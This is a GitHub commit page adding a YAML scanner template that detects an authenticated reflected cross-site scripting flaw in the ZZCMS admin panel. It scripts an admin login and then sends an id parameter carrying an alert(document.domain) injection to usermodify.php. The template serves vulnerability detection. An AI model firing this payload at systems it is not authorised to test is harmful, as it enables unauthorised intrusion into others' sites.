Merge pull request #4163 from ritikchaddha/patch-34

Create zzcms-xss.yaml
patch-1
Prince Chaddha 2022-07-24 21:26:23 +05:30 committed by GitHub
commit f0b5e19833
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: zzcms-xss
info:
name: ZZCMS - Cross-Site Scripting
author: ritikchaddha
severity: medium
reference:
- https://github.com/JcQSteven/blog/issues/20
metadata:
verified: true
tags: zzcms,xss,authenticated
requests:
- raw:
- |
POST /admin/logincheck.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
admin={{username}}&pass={{password}}
- |
GET /admin/usermodify.php?id=1%22%2balert(document.domain)%2b%22 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- "contains(all_headers_2, 'text/html')"
- "status_code_2 == 200"
- 'contains(body_2, "参数 1\"+alert(document.domain)+")'
condition: and